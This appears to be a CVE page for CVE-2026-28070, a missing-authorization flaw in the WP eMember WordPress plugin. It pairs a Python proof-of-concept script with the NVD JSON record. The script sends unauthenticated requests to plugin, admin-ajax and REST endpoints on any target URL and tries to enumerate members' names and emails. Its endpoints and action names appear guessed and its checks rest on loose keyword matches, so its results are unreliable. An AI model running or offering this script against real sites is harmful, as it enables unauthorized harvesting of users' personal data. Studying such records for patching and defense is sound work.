CVE-2026-28070

# CVE-2026-28070 PoC - WP eMember Missing Authorization # This PoC demonstrates accessing protected endpoints without authentication import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2026-28070 Missing Authorization in WP eMember plugin """ vulnerable_endpoints = [ "/wp-content/plugins/wp-eMember/emember-api.php", "/wp-content/plugins/wp-eMember/admin/admin_functions.php", "/wp-admin/admin-ajax.php?action=emember_ajax_handler", "/wp-json/wp/v2/users" # WordPress REST API enumeration ] print("[*] Testing CVE-2026-28070 - WP eMember Missing Authorization\n") for endpoint in vulnerable_endpoints: url = TARGET_URL + endpoint try: # No authentication headers - testing unauthorized access response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Potential vulnerable endpoint found: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") # Check for sensitive data exposure if "emember" in response.text.lower() or "user" in response.text.lower(): print(f" [+] Sensitive data may be exposed!") elif response.status_code == 403: print(f"[-] Endpoint protected: {endpoint}") else: print(f"[-] Endpoint returned: {response.status_code} - {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {endpoint}: {str(e)}") print("\n[*] Testing complete. Verify results manually.") print("[*] Recommended: Update WP eMember to version 10.2.3 or later") def exploit_member_enum(): """ Attempt to enumerate member information without authorization """ print("\n[*] Attempting member enumeration...") # Common WP eMember API endpoints api_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-content/plugins/wp-eMember/includes/emember_functions.php" ] for endpoint in api_endpoints: url = TARGET_URL + endpoint # Common actions that might expose member data params = { 'action': 'emember_get_members_list', 'emember_action': 'get_all_members' } try: response = requests.get(url, params=params, timeout=10) if 'user' in response.text.lower() or 'email' in response.text.lower(): print(f"[!] Possible member data leak at: {url}") except: pass if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability() exploit_member_enum()

{"cve": {"id": "CVE-2026-28070", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:26.360", "lastModified": "2026-04-28T19:37:26.247", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Tips and Tricks HQ WP eMember allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP eMember: from n/a through v10.2.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Tips and Tricks HQ WP eMember permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WP eMember: desde n/a hasta v10.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-emember/vulnerability/wordpress-wp-emember-plugin-v10-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}